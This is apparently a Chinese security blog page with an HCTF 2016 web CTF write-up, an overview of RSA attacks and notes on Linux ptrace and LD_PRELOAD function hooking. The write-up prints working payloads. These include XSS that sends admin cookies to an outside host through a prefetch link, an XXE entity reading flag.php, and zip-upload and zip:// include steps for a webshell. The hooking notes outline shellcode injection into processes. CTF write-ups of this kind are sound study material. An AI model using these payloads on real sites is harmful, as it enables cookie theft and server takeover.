Web Securtiy&Deep Learning

12月 08

hctf 2016 web writeup

一人撸了6道web,虽然熬了个通宵,还算不亏

===========================================================================================

guestbook

验证码直接用python暴力跑md5就可以了。看留言板的信息,首先过滤了一次敏感关键字,用scscriptript的方式就绕过了;csp限制了脚本只能访问自身域下的资源吗,但是csp的script src
规定了unsafe-inline模式。参照heige的文章,因此可以使用

<link prefetch="xxx.com" />

的方式来把cookies传递出去。这里构造payload如下:

document.cookie = "csp=" + escape("sad@jisajid&*JDSJddsajhdsajkh21sa213123o1") + ";";
var xx = document.createElement("link");
xx.setAttribute("rel", "prefetch");
xx.setAttribute("href", "//www.math1as.com/xxx.php?var=" + document.cookie);
document.head.appendChild(xx);

收到了管理员的cookies,最终访问得到flag。

===========================================================================================

大图书馆的牧羊人

/.git/目录存在,并且提示403,直接使用git hack工具拖下整套web源码。审计后发现了user的加密密钥,构造出admin的cookies:
_icavZOMQYJWReJtLoC0RgT1NJbIzA5pudRrrGYSxhY
紧接下来进入后台后,审计源码,发现上传zip后会自动被解压到uploads目录下。于是上传包含php文件的压缩包,即可获得webshell,之后读取flag.php的内容,获得了flag:
hctf{Serena_is_the_leading_role}

===========================================================================================

secret area
和guestbook很类似,只是有所转变。登陆后发现重定向的地址是
/static/redirect.php
,使用了302重定向。试着构造crlf无果,看上传也没有明显漏洞,于是继续构造发消息的xss。csp限制了只能执行
/static/
目录下的脚本,于是想着用redirect构造跳转到upload目录下的文件,上传文件时再把document.cookie发给自己的用户。
构造payload如下

var xmlhttp=new XMLHttpRequest();
xmlhttp.open("POST","submit.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("to=mathias50&message="+document.cookie);

发送给admin用户如下信息

<scrscriptipt src="http://sguestbook.hctf.io/static/redirect.php?u=http://sguestbook.hctf.io/upload/aa2b0f8a88dd7589496fade78ace511c"></scrscriptipt>

成功获得cookies,登陆admin用户后得到flag

===========================================================================================

魔法禁书目录

源码和大图书馆的牧羊人是一样的,因此直接审计,发现使用了aes算法对cookie的user值进行加密。但是很不幸的是,它对其使用了CBC加密模式,而且我们可以修改密文,所以这里进行byte反转攻击。
首先注册用户名为
admin10
,查阅php手册,确定加密函数使用的padding为0x00后,把IV向量(长度为16)全部替换为0XFF,确定了密文的中间值。然后把IV替换为
中间值 xor IV=0x00
的值,构造出的cookies为

H-MccSpTwOy3w6GusmPep1cQb2JzmMdchj-v3mDeYgk

接下来需要访问login.php使session生效,然后看上传图书功能,这次直接上传php,但无法生效了,被注释。于是查看图书epub的格式,发现其实就是zip压缩后,由里面的xml决定格式,那么构造payload如下:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [ 
<!ENTITY hello SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<ncx xmlns="http://www.daisy.org/z3986/2005/ncx/" version="2005-1">
   <head>
      <meta name="dtb:uid" content="bookid"/>
      <meta name="dtb:depth" content="0"/>
      <meta name="dtb:totalPageCount" content="0"/>
      <meta name="dtb:maxPageNumber" content="0"/>
   </head>
   <docTitle>
      <text>UnKnown</text>
   </docTitle>
   <navMap>
      <navPoint id="content" playOrder="1">
         <navLabel>
           <text>&hello;</text>
         </navLabel>
         <content src="TxtToHtml_11004.html"/>
      </navPoint>   </navMap>
</ncx>

成功获得flag
hctf{Lillie_is_comming}

===========================================================================================

跑得比香港记者还快
README.md提供了提示,注册用户后,还需要跟着一个降权的操作,这里其实就是一个时间竞争了。直接用脚本跑若干个1s后,出flag

1.png

===========================================================================================

进入站点,发现是一个文件上传类型的题目。那么fp决定了可以包含的文件名,在后面加上了'.php'的限制,不过可以使用php://filter来读源码,查看到了所有php的源代码。

2.png

直接上传一个压缩包,将其重命名为png,然后包含wrapper zip://uploads/xxx.png%23xx.php
getshell后,在上层目录找到flag文件。可见flag为
hctf{Th1s_1s_e4sY_1s_n0T_1t?}

===========================================================================================

另外AT field等题目不是自己做的,简单说下额外收获
差不多仍然是ssrf的思路
不过技巧是[ip].xip.io这个域名也可以用这样的方式来请求
www.[ip].xip.io
然后第2关是nginx的一个default.conf造成的目录越权问题
简单的说 定义了目录 /www 为 /var/www/
这样如果构造访问 ip/www../ 的话
因为就是一个简单的替换,就会造成最终访问到了/var/www/../
为什么不直接访问 ../ ? 你傻啊,url这样访问是肯定不行的,会自动的弹到web目录的最顶层

11月 22

RSA攻击方式总结

总结一下crypto中的rsa攻击方式
1.n较小,或p,q差较大时,分解n的攻击
不多说,最常见的,n最大在768bit可以破解
一是本地用yafu
二是尝试http://www.factordb.com/
ed=1 mod (p-1)(q-1)
1<e<(p-1)(q-1)
2.选择密文攻击(CCA)
如果一个系统能够对我们的rsa密文请求做解密(但是不能解密之前用户的敏感信息)
那么可以有如下方法
(1)选择Zn*中的一个随机整数X。
(2)计算出

1.png

(3)发送到解密过程中,得到

2.png

(4)第一步变换

3.png

(5)得到明文

4.png

3.低加密指数(e=3)攻击
c=m^e mod n,但此时如e=3导致明文加密后的结果远小于n,则
设明文m和密文c满足如下关系
c=m^e+kn,这是一个m^e加上线性式子,因此条件是m^e不够大
这时候只需要对k做暴力搜索即可,然后尝试开三次方

4.低加密指数(e=3)广播攻击(m相同,n不同,e相同的广播)
和3类似,使用的较小的e,比如e=3
并且使用了相同的加密指数给一个接受者的群发送相同的信息,那么可以进行广播攻击得到明文。
也就是存在多个多个接收者使用相同e,然后他们的解密密钥可能较大,这不影响
这种方法的e可以比3更大一些,也能解密,因为会应用到中国剩余定理,把私钥乘起来,如下

5.png

同样可以设
c=m^e+kn1n2n3
一般e=3时k=0,因此开三次方就可以破解了

5.共模攻击(m相同,n相同,e不同的广播)
和4类似,也是广播的情况,不过应用更广,而且这时候所有接收者的n都相同,只是e不相同,即:

7.png

首先要求他们的e不同,并且互质,则存在s1,s2使s1e1+s2e2=1可以做如下推理

8.png

6.d偏小(e相对较大)时的wiener's attack
在blog前文中有介绍
需要满足连分数攻击的条件是

6.png

地址https://github.com/pablocelayes/rsa-wiener-attack

7.循环攻击
很鸡肋的攻击方式,难度和分解n是同一个级别的
原理是密文是明文的置换,所以对密文反复加密后,如果得到了自身
那么回退一步就是我们需要的明文了。

8.rsa padding oracle
严格意义上来说不算rsa本身的问题,而是cbc这种加密模式产生的问题,在rsa中也比较鸡肋
在其他非公钥系统密码中(加密中间值也不可预知)更有利用效果
首先看密文长度的最大约数,来判断每个块的大小(一般是8的倍数)
其中一种padding是,明文至少占7位,padding占1位
不足的明文用padding填充,并且padding的值为0x0[自身数量]
如果我们的应用在校验padding的时候,给出一个提示(oracle)
那么我们就可以根据这个来生成指定明文的密文
首先确定IV的位置,然后先把其初始化为全0,之后第一个加密块中,最后一位可以根据加密值 xor IV得到0x01来得知
然后逐步的得到0x02...0x03 最后得到整个加密中间值。由于最后拥有了加密中间值
我们就可以根据构造IV来构造对应的密文了。
如果要构造多个块的密文,可以在构造完第一个块后,把它的内容当作IV,来计算第二个块应该等于的值
在某些应用比如根据密文下载对应文件download.php?x=[密文]中
或者伪造用户名中,有比较大的效果
文章链接
http://blog.zhaojie.me/2010/10/padding-oracle-attack-in-detail.html

9.Bleichenbacher's attack
PKCS 1.5标准中,可以伪造rsa签名
原理是其中校验的时候只校验了部分padding,可以伪造0xff等串来实现欺骗

11月 14

linux function hook笔记(二) - ptrace基础

linux下,为了方便用户对目标程序进行调试,提供了ptrace这个函数
那么ptrace可以修改目标寄存器,内存,因此我们也可以使用它来对目标进行hook
过程大致如下
1.使用/proc/pid/maps获知自身和目标libc加载基址,并根据偏移计算出mmap函数地址
2.使用ptrace attach目标,并修改目标寄存器和eip
让其跳转到mmap,申请出一片内存(返回地址设置为0,触发异常使ptrace能重新获得其控制权)
3.获得返回内存的地址,并写入我们的shellcode,调用dlopen加载我们编写的.so文件
4.把.GOT表中的函数地址替换成我们.so文件加载后的地址,这可以用之前的偏移方法计算得出

那么接下来介绍ptrace的基本应用
使用ptrace需要如下头文件

#include <sys/ptrace.h>  
#include <sys/types.h>  
#include <sys/wait.h>  
#include <unistd.h>   
#include <sys/syscall.h> 

需要注意的是
#include <linux/user.h> 这个文件定义了ORIG_EAX的宏,其中ORIG_EAX*4的地址处保存着系统调用号(发生系统调用时,eax的数值就是对应的系统调用号,会被保存到这个地址)
使用PTRACE_PEEKUSER就可以通过ORIG_EAX * 4,ECX * 4等宏(用户区域地址)获取到对应的寄存器值
这个文件在不同linux中对应的文件是不同的
因此你可以使用find /usr/include -iname '*.h' |xargs grep 'ORIG_EAX'
而/usr/include/asm/unistd.h 中保存着系统调用号的定义(进行系统调用时需要用到)

那么ptrace主要的用法有两种
1.在父进程中fork一个子进程
首先父进程调用fork()
返回值为子进程的pid
根据这个pid做对应的if判断(子进程中这个数值为0)
子进程中调用

ptrace(PTRACE_TRACEME,0,NULL,NULL)

表示接受父进程的调试
它会在触发系统调用的时候(比如execl函数)或者本进程退出的时候,把进程的控制权交给父进程。

在父进程中调用
wait(&status),返回值为子进程的返回值,这样在子进程运行完毕后可以回收它。同时status返回了其是否正常的信息。
用WIFEXITED(status)来获取,如果其数值不等于0,那么子进程正常退出。

ptrace(PTRACE_PEEKUSER,子进程pid,user区域地址,data) 

可以根据用户区域地址获取对应的寄存器数值,如果data为null,那么读取的数值会直接作为返回值

ptrace(PTRACE_PEEKTEXT,子进程pid,内存地址,data)
可以读取对应内存地址的一个字节

PTRACE_POKEUSR为写入字节

ptrace(PTRACE_CONT, pid, 0, signal),signal为0则忽略让调试停止的信号

同时让程序继续运行

ptrace(PTRACE_GETFPREGS, pid, 0, data)
会读取所有寄存器的数值,返回到data

这个data的类型必须是struct user_regs_struct,它和ORIG_EAX宏一样在user.h中定义。
ptrace(PTRACE_SETREGS, pid, 0, data)
则会用data设置所有寄存器的值

这里测试了一下读取ebp等寄存器的数值

1.png

2.attach一个pid,对应的是现有的一个进程。

ptrace(PTRACE_ATTACH,pid)
开始attach到某个进程上。
ptrace(PTRACE_DETACH,pid)
从某进程离开。
11月 10

linux function hook笔记(一) - LD_PRELOAD

在广义的linux环境下(这里也部分指android),要怎样进行函数的hook呢?
首先介绍一个叫做ld_preload的环境变量,使用它可以加载一个外部共享库
比如 export ld_preload=/home/xxx.so
这样当前目录下的程序就会自动加载这个共享库。
并且如果有同名函数被调用,在搜寻符号表时,优先调用的是共享库里的函数。
这样就实现了函数的hook,以下列程序为例
我们要hook strcmp函数

#include<stdio.h>
#include<string.h>
int test(void)
{
    char str1[20];
    char str2[20];
    sprintf(str1,"test");
    sprintf(str2,"test");
    if(strcmp(str1,str2)==0)
    {
        printf("equal!");
    }
    else
    {
        printf("hacked!");
    }
    return 0;
}
int main(void)
{
    test();
    return 0;
}

在我们的共享库中写如下代码
int strcmp(char * str1,char * str2)
{
    return 1;
}

用来覆盖strcmp函数,令其为1
在没有加载共享库的情况下,返回0

3.png

接下来加载LD_PRELOAD
使用export LD_PRELOAD="./test.so"
并进行编译
gcc -shared -o test.so test.c

1.png

再次执行target,发现函数已经被我们hook

4.png

但是需要注意的是,这里hook的是其调用的库函数,自身的函数并没有办法通过这种办法进行hook.



最新文章

最近回复

  • linux静态库&共享库 | 6doo:[...]http://math1as.com/index.ph...
  • 神秀:为什么学长你 ML 这么熟练啊!你到底 ML 了多少次啊! (逃
  • Vast:吴神是要开个大坑吗?23333
  • PHP 中 Session 反序列化机制 R11; 码农网:[...]web3 session反序列化:http://www...
  • omego:这是个啥 师傅要分享ML姿势了么
  • omego:全能制霸吴师傅Orz
  • aaaa8:师父 受我一拜
  • 不觉:不错呦
  • TaQini:666,学习一下
  • 一周信息安全干货分享(第64期):[...]4.CCTF Web Writeup[...]
  • 友情链接